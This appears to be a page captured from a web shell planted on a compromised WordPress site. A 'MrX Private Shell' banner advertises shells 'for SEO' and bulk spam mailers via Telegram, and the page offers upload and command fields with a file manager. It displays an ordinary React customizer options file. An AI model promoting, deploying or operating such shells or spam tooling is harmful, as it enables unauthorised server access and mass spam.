__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import { createElement, useRef, useState } from '@wordpress/element'
import classnames from 'classnames'

import OptionsPanel from '../../options/OptionsPanel'
import { getValueFromInput } from '../../options/helpers/get-value-from-input'
import PanelLevel from '../../options/components/PanelLevel'
import { DeviceManagerProvider } from '../components/useDeviceManager'

import { CustomizerValues } from './customizer-values-context'

const Options = ({ option, renderOptions = null }) => {
	const [values, setValues] = useState(null)

	const containerRef = useRef()

	const onChangeFor = (key, val) => {
		setValues((values) => {
			return {
				...(values ||
					getValueFromInput(option['inner-options'], {}, (id) => ({
						[id]: wp.customize(id) && wp.customize(id)(),
					}))),
				[key]: val,
			}
		})

		wp.customize(key) && wp.customize(key).set(val)
	}

	const computedValues =
		values ||
		getValueFromInput(option['inner-options'], {}, (id) => ({
			[id]: wp.customize(id) && wp.customize(id)(),
		}))

	return (
		<CustomizerValues.Provider
			value={{
				values: computedValues,
				onChange: onChangeFor,
			}}>
			<DeviceManagerProvider>
				<div className="ct-options-container" ref={containerRef}>
					<PanelLevel containerRef={containerRef}>
						<OptionsPanel
							renderOptions={renderOptions}
							purpose="customizer"
							onChange={(key, val) => {
								onChangeFor(key, val)
							}}
							options={option['inner-options']}
							value={computedValues}
						/>
					</PanelLevel>
				</div>
			</DeviceManagerProvider>
		</CustomizerValues.Provider>
	)
}

export default Options

Filemanager

Name Type Size Permission Actions
customizer-values-context.js File 291 B 0640
options.js File 1.59 KB 0640
utils.js File 4.11 KB 0640
Filemanager